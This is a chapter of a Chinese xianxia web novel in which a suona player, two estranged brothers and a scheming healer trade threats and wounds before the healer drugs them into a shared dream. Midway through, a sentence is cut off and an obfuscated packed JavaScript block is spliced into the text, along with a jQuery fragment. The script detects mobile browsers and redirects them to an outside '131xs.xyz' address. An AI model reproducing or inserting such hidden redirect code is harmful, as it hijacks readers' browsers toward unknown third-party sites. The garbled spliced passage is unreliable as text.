“你都听见了吧?落花峰峰主。来龙去脉,详细完整。该放了我的好下属了吧。”解裁春一口咬着耳坠,一手握着问道宗弟子专属的玉牌。
闲氏两兄弟陡然爆发的争执,因她的打岔,蓦然中止。
温孤怀璧紧急摸向自己的腰牌,原本悬挂在腰间的牌子,早已不见影终。
顺手牵羊,极为顺手的解裁春,一招妙手空空,将温孤怀璧的东西收为己用。她的手指勾入穗子绑起的绳结里,在食指上绕圈,扬着脸,一副有恃无恐的样子。
“你是真不怕我和兄长联合起来,杀人灭口。”闲梦落似乎被逗乐了,胸腔传出的震动在她耳边奏响。“远在天边的问道宗峰主可救不了你。”
“平生不做亏心事,半夜不怕鬼敲门。我有什么好怕的。”况且,谁杀谁还不一定呢。
幻化出的唢呐,叼在口中,解裁春俏皮地朝他们两人眨眼,就是有东西堵着,讲述的语句含糊。“要赌一下是你的武器快,还是我的唢呐吹得快?”
“拿命上赌桌,下赌注。我奉陪。”
反正亏的不是她。
“你不会。”
局势所迫,被说服了的温孤怀璧,卸下攻势,没有一开始那么剑拔弩张,却仍不肯低头认输。
“小满姑娘看重某物,远胜过重视自己生命的重量,断不会亲手折了这张好牌,甘冒往后余生不能再使用唢呐镇魂的风险。”
闲梦落也表明态度,意有所指。“比起吹唢呐,我更宁愿嫂子吹别的东西。”
“你真不是东西。”解裁春呛声。
“是说我坏吗?我还能更坏呢。”闲梦落笑意盈盈。
等温孤怀璧、闲梦落两人集体噤声,齐齐望向身处局中,又全然掌握的唢呐匠,目光变得危险而胶着。
沙沙的风声隐喻着潜在的危机。解裁春思索着一对二的胜率,以及后续打算,认为这二人打起来,打得两败俱伤,对她有利无弊。
故若无其事地抬了下下巴,“吵啊,继续吵啊。别说我没给你们机会。”
闲氏两兄弟忽然就没了争辩的心思。
啊,猛料下太狠,起反作用了。解裁春一边反思,一边趁此时机,折纸人,修复伤口。
这两人,一个都不管用。没一个靠谱的。包括费清明在内。
人还是要靠自己才行。
她的身体是由纸人制造,又无限趋近于人类。可以让医女治疗,也能用纸人修复。
嘴上还不忘狐假虎威。在场的人,她要治。不在场的,她也要拉出来扯大旗。“谢峰主,劳烦发个声呗。我不计前嫌,给你送上这么大的一份大礼。”
她反复强调,把两个“大”的读音咬重。
“你要怎么回报我?”
潜台词是别装死,再装死,她就要闹了。
玉牌亮了两下,给出落花峰峰主的回应。“唢呐匠,我会给你一个交代。”
落花峰峰主自述,他会放了扣押的人质,将人安安全全地放回人间世,并给予其后半辈子衣食无忧的财产。
作为补偿,他告知她目前被问道宗全体通缉的事,在查明真相前,他不会主动出手。
被通缉了的事,她早就知道了。谢峰主也太落伍了,现在才得到消息。这可算不上补偿。解裁春刚要回话,眉心跳了跳,瞪向闲梦落,“你做了什么?或者你背后的组织做了什么?”
“嫂子冰雪聪明,料事如神,还用得着问我?”闲梦落亲密地蹭了蹭她的脸颊,下唇摩挲着她的嘴唇。“都是一些无伤大雅的事,不必让嫂子费神。”
谢无邪峰主可听不得别人拿他的弟子取乐,“杀害问道宗二十余名弟子的人,不是你,和你背后的九重霄,就是温故怀璧和解裁春,左右都跑不了。”
比起随机杀人,破案难度激增。有了可疑人员的寻仇,轻而易举。圈定的范围一缩小,要找的对象就有迹可循。
“我们会见上面的。就是不晓得哪种惩处,会发落得更让人觉得难以接受,我想我得了解一下了。”落花峰峰主克制着脾气,下了最终通牒。
玉牌的光熄灭。
正式见面,就赠送了亲生兄长一份众叛亲离的大见面礼的闲梦落,同样也被温孤怀璧回赠了一个穿心断肠的大礼包。
无需走滴血验亲的流程,都能证明他们的确是一家子人。不是一家人,不入一家门。
闲梦落抱着解裁春,向东南方向走。朝站在原地,面露警惕的温孤怀璧示意。
“你不是想知道我和我背后的组织打的什么主意?我会一五一十告诉你的。兄长,你从来不是我的敌人,而是我的亲属。”
温孤怀璧一甩长剑,鲜红的血液滴溅在青碧色草地,抬步跟上。
闲梦落没有说谎。一路上,将九重霄和他们的目的、业绩捅了个底朝天,无一点欺瞒。
自以为断了温孤怀璧后路,兄长自然得加入九重霄来。
约莫和他合作的伙伴们,都得吐血身亡。
解裁春深谙知道的越多,就死得越快的道理。要捂住耳朵,他还来拨。
“嫂子是兄长的妻子,早晚是一家人,何必遮遮掩掩。”
“有上来就咬长嫂胸的一家人吗?”解裁春大力拍向闲梦落的后脑勺。扯到伤口,痛不欲生。
被温孤怀璧拉开的闲梦落,还满是委屈。目光紧盯着被自己咬出牙印的白糕不放。
都说长嫂如母了,让他尝一尝,也没什么大不了的吧。
他从小就没了母亲。
月上梢头,冷风像扑脚的鬼,要人手脚都冷冰冰,屋檐凝冰晶。屋内燃着的香徐徐,透过兽耳三足香炉的孔,鬼魅状扭着腰钻出。
“有医女,你早说嘛。”害得她顶着伤残,在那狂折纸鹤。
被放在床榻上的解裁春,并没有感谢的打算。要不是为了钓闲梦落这条鱼,温孤怀璧不会连她一同刺穿。
当然,罪魁祸首是温孤怀璧。闲氏两兄弟不是一丘之貉,也至少不是什么好相与的角色。
“我喜欢嫂子为我煞费心思的模样。”放下人的闲梦落,只觉得怀抱前所未有的空荡。他顶着血流如注,给她调整了一个比较舒服的躺姿。
被冷落的医师赛北金,牙酸不已。
“首先,我不是你随叫随到的随侍医者。这里是我的草庐,不请自来,是为无礼。要我治疗,是要收费的。非平民者,诊金价格高昂。”
铲除无数仇家,将他们的财产尽数填充了自己的小金库的闲梦落,日积月累,成了一座行走的人形大金库。
他点点头,“理所应当。”
这些腰缠万贯的家伙怎么不去死一死?夙兴夜寐,忙活一百年,还挣不到人家一天零头的赛北金,牙根咬紧,近乎尖酸刻薄地想着。
她一拍桌面,卷成一团的针线包,向两侧舒展开。内侧别着的,长短、粗细不一的银针,全数浮到半空。
“你收十倍。不,一百倍。”
“无妨。”闲梦落阔气地答。
赛北金心里更恨了。
“等等——”解裁春扯住一旁审视局面的温孤怀璧袖子,“我的诊金,由他付。其余的药钱、大补之物,统统选最高档,全部由他出。不要收我的。”
谁捅的人,谁就负责。她辛辛苦苦赚的钱,才不要花在这些被殃及池鱼的事情上。
温孤怀璧一剑劈开飞过来的银针,锐利的剑势以他为中心,荡开一层气波。
房屋摇晃,浮尘动荡。眼见问道宗大弟子温孤怀璧,把削金断玉的本命剑,对准丹霞峡公认的不会杀人,只会治疗的医女,解裁春目瞪口呆。
“要你出出血而已,不至于赶尽杀绝吧?”
“荒郊野岭,人迹罕至。闲梦落既引我们来见她,说明她也是九重霄得力干将之一。她是实打实的贼寇,不可掉以轻心。”温孤怀璧点出要害。
“你和珠胎暗结的嫂子是我们,我和你同胞兄弟就不是我们了?”闲梦落暗笑,“我是贼寇,你是什么?贼寇的生身兄弟?铲恶锄奸的正义使者?”
“这谁不知道啊,还用得着你来提醒?”
接连失血的解裁春,嘴唇失色,身体发颤,搭了厚实的被褥都捂不暖。口头忍不住抱怨。“你先让她给我治一下怎么了?难不成还会下毒毒死你?”
她痛得要死。要翻脸,等治完人再翻不可以吗?起码让人给她上个除痛的麻痹散。
就差这么一会儿,赶着去投胎?
“你们要不等商量好了,再来决定要不要就医。”赛北金孰若无睹。
医女给患者治疗,总会遇到病患家属或朋友争夺不定的状况。患者或
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15252637|162038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
患者家属、亲朋好友威胁医者的情况,屡见不鲜。
只要当医修当得久了,每个人都会遇见。仿佛她们做医师的,就上辈子欠了患者似的。
给患者掏心掏肺,还要被患者掏心掏肺。
要不怎么说当医修是这辈子的报应。
“两个都不能救。”温孤怀璧做出决断。
唢呐匠要抓,闲梦落也要制。这两人招数奇诡,各有千秋。他一招制服了俩,没道理放虎归山,让这两人恢复士气。
“好你个王八羔子,忘恩负义,背信忘义,见色起意……”解裁春气得一只手在床上乱摸,要找枕头要砸他。
闲梦落长手一抓,把玉枕塞到她手里。“最后一个说错了。”
“你管我!”
赛北金两指合并,收回被劈断的银针。磨一磨还能再用用。“你看不顺眼这两人,何不干脆干死他们,找我做什么。磨刀霍霍向无辜,真是好修士呀。”
前途无量。
温孤怀璧听出她的冷嘲热讽,回答却也实诚。“一个已经干过了,另一个不合适。”于伦理不合。性向、品味也不合。
旁若无人地横在三人间的温孤怀璧,剑指医女,控制全场,“谁救人,我就了断谁。还望医女不要让我为难。”
她的耳朵……她根本不想听这些私密话题。赛北金顿口无言。
当医女就非得了解病人的床事私密,个人家庭的是是非非吗?
温孤怀璧踏进屋子的一瞬间,她就明了了他与闲梦落的亲属关系。
原因无他,二人的骨骼长势异曲同工。
虽然外观上,温孤怀璧肖父,闲梦落肖母,展开了,充其量只有两、三分相似。乍然放在一起,不会联系到他们二人之间存着血缘关系,却蒙不过对人体结构颇有研究的医者。
闲梦落,她的这位伙伴,或许籍籍无名。但他的父母在十业大界可是大有来头。
不论是起始时,被羡瑶台委以重任,风头无两,还是后来聚众讨伐,群起而攻之。或者从最卑贱的蛊人,跻身为要十业大界三缄其口的存在,都无不证明他们的身份贵重,几乎达到改天换日的水准。
不过,那都是过去的事了。
再了不起的人,不得了的壮举,都是时过境迁,渺无踪迹。
摞星峡长夜不明,轮转三百年才能换来一次白昼。赛北金施施然退出温孤怀璧佩剑的波及范围,取下挂在墙壁上的画轴。
察觉不对的解裁春,揪着闲梦落的袖子使唤,“扶我起来。”
赛北金刚捧到画卷,画轴就被疾飞过来的匕首捅破、刺烂。
全场唯一识破她伎俩的唢呐匠,血染床单,“重复的招数一再使用,可就落了下乘。你以为我会在同一个坑上,摔上了两次?”
“哦,那我可要洗耳恭听了。”医女今夜头一次正式上门求医的患者。
“哐当。”一声,温孤怀璧倒了。
扶着她的闲梦落也倒了,整个人压在她身上,压得她都快喘不过来气。“你都做了什么,什么时候动的手脚?”
“别误会,不是针对你,也不是针对你们。你们几个人加在一起,还没有那么大的价值,足够让我耗费心思。”
声东击西的赛北金,拔出匕首,捋平没有从来没能画上人脸的画像。
她效仿易陵君,重走了无数遍人间世战场,领略了无论几载春秋,都永恒不变的兵戈,终于找到在医学造诣上,前无古人,后无来者的前辈尸骸。
许多人都盼望着臭名昭著的易陵君死去,永世不得超生。她的存活始终是很多人的心腹大患。又不相信她会轻易死去,仿若她存在一天,就能证明永生的几率,并非绝无可能。
赛北金在沙场上挖出过不可枚举的尸骸,把它们练成灰,制成香,夜夜入梦来,以此探寻梦寐以求的答案。
今晚就是突破的关键。兴许永远无法得到解答的疑惑,就能就此拉下序幕。
虽然多了几个不速之客,但是作为历史的见证者,大可以多几个人参与,她并不藏私。
“跟我一起入梦吧。”
医女的声线,悠悠晃晃,像飘渺的烟雾。和满屋家具一同摇晃。
纸人塑身的解裁春,药效发挥最晚。人扶着额头,叫苦不迭。
不是吧,又来?